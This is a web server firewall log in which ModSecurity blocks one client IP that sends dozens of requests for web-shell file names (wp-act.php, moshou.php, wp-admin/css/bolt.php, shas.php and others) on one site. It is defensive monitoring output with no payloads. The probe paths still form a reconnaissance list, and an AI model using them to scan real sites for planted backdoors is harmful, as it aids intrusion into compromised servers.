[Fri Feb 27 07:23:17.036437 2026] [:error] [pid 21329:tid 21405] [client 4.204.200.32:59244] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123.php"] [unique_id "aaDV5ZvQWnde-MjcQ1FzxAAAAVY"]
[Fri Feb 27 07:23:17.527389 2026] [:error] [pid 5365:tid 5373] [client 4.204.200.32:59256] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123.php"] [unique_id "aaDV5ZYAa8J3tYxdG3yEkAAAAQY"]
[Fri Feb 27 07:23:18.222629 2026] [:error] [pid 5365:tid 5376] [client 4.204.200.32:59200] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaDV5pYAa8J3tYxdG3yElgAAAQk"]
[Fri Feb 27 07:23:19.054111 2026] [:error] [pid 42658:tid 42679] [client 4.204.200.32:59139] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaDV54zcoYl3nRbu1jahfAAAAhM"]
[Fri Feb 27 07:23:19.504804 2026] [:error] [pid 42435:tid 42458] [client 4.204.200.32:59260] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaDV5x5hHLnaukp_y9-mIAAAAZI"]
[Fri Feb 27 07:23:19.935115 2026] [:error] [pid 42658:tid 42670] [client 4.204.200.32:59147] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaDV54zcoYl3nRbu1jahgAAAAgo"]
[Fri Feb 27 07:23:20.436058 2026] [:error] [pid 42658:tid 42683] [client 4.204.200.32:59165] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaDV6IzcoYl3nRbu1jahgQAAAhc"]
[Fri Feb 27 07:23:21.022341 2026] [:error] [pid 5365:tid 5382] [client 4.204.200.32:59215] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaDV6ZYAa8J3tYxdG3yEnAAAAQ8"]
[Fri Feb 27 07:23:21.585956 2026] [:error] [pid 42435:tid 42463] [client 4.204.200.32:59226] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaDV6R5hHLnaukp_y9-mJQAAAZc"]
[Fri Feb 27 07:23:22.201963 2026] [:error] [pid 42658:tid 42663] [client 4.204.200.32:59149] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaDV6ozcoYl3nRbu1jahggAAAgM"]
[Fri Feb 27 07:23:22.918451 2026] [:error] [pid 42658:tid 42661] [client 4.204.200.32:59208] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seetox.php"] [unique_id "aaDV6ozcoYl3nRbu1jahhgAAAgE"]
[Fri Feb 27 07:23:23.514599 2026] [:error] [pid 42435:tid 42450] [client 4.204.200.32:59204] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seetox.php"] [unique_id "aaDV6x5hHLnaukp_y9-mKQAAAYo"]
[Fri Feb 27 07:23:23.952978 2026] [:error] [pid 42563:tid 42594] [client 4.204.200.32:59219] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seetox.php"] [unique_id "aaDV63KL5BclZy73IRHtUQAAAdg"]
[Fri Feb 27 07:23:24.548093 2026] [:error] [pid 5365:tid 5368] [client 4.204.200.32:16324] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/seetox.php"] [unique_id "aaDV7JYAa8J3tYxdG3yEowAAAQE"]
[Fri Feb 27 07:23:25.055228 2026] [:error] [pid 3974:tid 4053] [client 4.204.200.32:59145] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dom.php"] [unique_id "aaDV7Xp-fQtdOYjkuFvqoQAAAFA"]
[Fri Feb 27 07:23:25.509300 2026] [:error] [pid 42563:tid 42588] [client 4.204.200.32:59254] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dom.php"] [unique_id "aaDV7XKL5BclZy73IRHtUwAAAdI"]
[Fri Feb 27 07:23:25.989114 2026] [:error] [pid 4081:tid 4086] [client 4.204.200.32:59232] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dom.php"] [unique_id "aaDV7Q55mnr35z8h7t3z5wAAAMM"]
[Fri Feb 27 07:23:26.507875 2026] [:error] [pid 42563:tid 42568] [client 4.204.200.32:59248] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dom.php"] [unique_id "aaDV7nKL5BclZy73IRHtVAAAAcA"]
[Fri Feb 27 07:23:27.083782 2026] [:error] [pid 3975:tid 4022] [client 4.204.200.32:59236] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaDV7xMVp0-T2hD76b3JCgAAAIw"]
[Fri Feb 27 07:23:27.654964 2026] [:error] [pid 5365:tid 5378] [client 4.204.200.32:59229] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaDV75YAa8J3tYxdG3yEqAAAAQs"]
[Fri Feb 27 07:23:28.128440 2026] [:error] [pid 5365:tid 5387] [client 4.204.200.32:59234] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaDV8JYAa8J3tYxdG3yEqQAAARQ"]
[Fri Feb 27 07:23:28.878633 2026] [:error] [pid 5365:tid 5384] [client 4.204.200.32:59262] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaDV8JYAa8J3tYxdG3yEqwAAARE"]
[Fri Feb 27 07:23:29.831009 2026] [:error] [pid 42435:tid 42448] [client 4.204.200.32:59162] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samiri.php"] [unique_id "aaDV8R5hHLnaukp_y9-mNAAAAYg"]
[Fri Feb 27 07:23:30.617091 2026] [:error] [pid 5365:tid 5370] [client 4.204.200.32:59209] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samiri.php"] [unique_id "aaDV8pYAa8J3tYxdG3yErwAAAQM"]
[Fri Feb 27 07:23:31.316820 2026] [:error] [pid 5365:tid 5387] [client 4.204.200.32:59223] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samiri.php"] [unique_id "aaDV85YAa8J3tYxdG3yEtAAAARQ"]
[Fri Feb 27 07:23:31.957648 2026] [:error] [pid 5365:tid 5384] [client 4.204.200.32:59258] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samiri.php"] [unique_id "aaDV85YAa8J3tYxdG3yEvAAAARE"]
[Fri Feb 27 07:23:32.554068 2026] [:error] [pid 42563:tid 42585] [client 4.204.200.32:59222] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaDV9HKL5BclZy73IRHtWAAAAc8"]
[Fri Feb 27 07:23:33.026865 2026] [:error] [pid 42563:tid 42582] [client 4.204.200.32:59251] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaDV9XKL5BclZy73IRHtXAAAAcw"]
[Fri Feb 27 07:23:33.633035 2026] [:error] [pid 4081:tid 4106] [client 4.204.200.32:59198] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaDV9Q55mnr35z8h7t3z7gAAANc"]
[Fri Feb 27 07:23:34.408860 2026] [:error] [pid 5365:tid 5382] [client 4.204.200.32:59240] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaDV9pYAa8J3tYxdG3yExQAAAQ8"]
[Fri Feb 27 07:23:35.029236 2026] [:error] [pid 42658:tid 42672] [client 4.204.200.32:59231] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xoot.php"] [unique_id "aaDV94zcoYl3nRbu1jahkwAAAgw"]
[Fri Feb 27 07:23:35.639700 2026] [:error] [pid 3974:tid 4057] [client 4.204.200.32:59261] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xoot.php"] [unique_id "aaDV93p-fQtdOYjkuFvqqAAAAFQ"]
[Fri Feb 27 07:23:36.383156 2026] [:error] [pid 42658:tid 42667] [client 4.204.200.32:59257] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xoot.php"] [unique_id "aaDV-IzcoYl3nRbu1jahlgAAAgc"]
[Fri Feb 27 07:23:36.859385 2026] [:error] [pid 42658:tid 42669] [client 4.204.200.32:59155] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xoot.php"] [unique_id "aaDV-IzcoYl3nRbu1jahmAAAAgk"]
[Fri Feb 27 07:23:37.326448 2026] [:error] [pid 3975:tid 4024] [client 4.204.200.32:59224] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X57.php"] [unique_id "aaDV-RMVp0-T2hD76b3JFAAAAI4"]
[Fri Feb 27 07:23:37.836684 2026] [:error] [pid 3973:tid 3985] [client 4.204.200.32:59245] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X57.php"] [unique_id "aaDV-YJZsftwqmUaaLMDPQAAAAI"]
[Fri Feb 27 07:23:38.548221 2026] [:error] [pid 42658:tid 42673] [client 4.204.200.32:59205] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X57.php"] [unique_id "aaDV-ozcoYl3nRbu1jahmgAAAg0"]
[Fri Feb 27 07:23:39.147185 2026] [:error] [pid 5365:tid 5379] [client 4.204.200.32:59239] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X57.php"] [unique_id "aaDV-5YAa8J3tYxdG3yEzwAAAQw"]
[Fri Feb 27 07:23:39.585313 2026] [:error] [pid 5365:tid 5389] [client 4.204.200.32:59253] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aaDV-5YAa8J3tYxdG3yE0gAAARY"]
[Fri Feb 27 07:23:40.247750 2026] [:error] [pid 5365:tid 5386] [client 4.204.200.32:59152] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aaDV_JYAa8J3tYxdG3yE1wAAARM"]
[Fri Feb 27 07:23:41.046295 2026] [:error] [pid 42563:tid 42592] [client 4.204.200.32:16327] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aaDV_XKL5BclZy73IRHtZAAAAdY"]
[Fri Feb 27 07:23:41.588348 2026] [:error] [pid 5365:tid 5387] [client 4.204.200.32:59179] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aaDV_ZYAa8J3tYxdG3yE3AAAARQ"]
[Fri Feb 27 07:23:42.222829 2026] [:error] [pid 5365:tid 5369] [client 4.204.200.32:59263] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaDV_pYAa8J3tYxdG3yE3wAAAQI"]
[Fri Feb 27 07:23:42.723861 2026] [:error] [pid 42658:tid 42663] [client 4.204.200.32:59237] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaDV_ozcoYl3nRbu1jahoQAAAgM"]
[Fri Feb 27 07:23:43.280535 2026] [:error] [pid 42563:tid 42585] [client 4.204.200.32:59159] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaDV_3KL5BclZy73IRHtZwAAAc8"]
[Fri Feb 27 07:23:44.051540 2026] [:error] [pid 42658:tid 42668] [client 4.204.200.32:59150] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaDWAIzcoYl3nRbu1jahpQAAAgg"]
[Fri Feb 27 07:23:44.786190 2026] [:error] [pid 5365:tid 5384] [client 4.204.200.32:16330] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaDWAJYAa8J3tYxdG3yE6AAAARE"]
[Fri Feb 27 07:23:45.340056 2026] [:error] [pid 5365:tid 5390] [client 4.204.200.32:59148] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaDWAZYAa8J3tYxdG3yE6gAAARc"]
[Fri Feb 27 07:23:45.981242 2026] [:error] [pid 42658:tid 42678] [client 4.204.200.32:59161] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaDWAYzcoYl3nRbu1jahpwAAAhI"]
[Fri Feb 27 07:23:46.433274 2026] [:error] [pid 42658:tid 42671] [client 4.204.200.32:59167] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaDWAozcoYl3nRbu1jahqwAAAgs"]
[Fri Feb 27 07:23:46.907844 2026] [:error] [pid 42658:tid 42683] [client 4.204.200.32:59166] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shas.php"] [unique_id "aaDWAozcoYl3nRbu1jahrgAAAhc"]
[Fri Feb 27 07:23:47.355293 2026] [:error] [pid 42658:tid 42663] [client 4.204.200.32:59259] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shas.php"] [unique_id "aaDWA4zcoYl3nRbu1jahsQAAAgM"]
[Fri Feb 27 07:23:47.860823 2026] [:error] [pid 42658:tid 42661] [client 4.204.200.32:59243] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shas.php"] [unique_id "aaDWA4zcoYl3nRbu1jahsgAAAgE"]
[Fri Feb 27 07:23:48.356082 2026] [:error] [pid 42658:tid 42680] [client 4.204.200.32:59247] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shas.php"] [unique_id "aaDWBIzcoYl3nRbu1jahtQAAAhQ"]
[Fri Feb 27 07:23:48.846968 2026] [:error] [pid 42658:tid 42668] [client 4.204.200.32:59141] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaDWBIzcoYl3nRbu1jahtgAAAgg"]
[Fri Feb 27 07:23:49.382257 2026] [:error] [pid 42658:tid 42682] [client 4.204.200.32:59192] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaDWBYzcoYl3nRbu1jahuAAAAhY"]
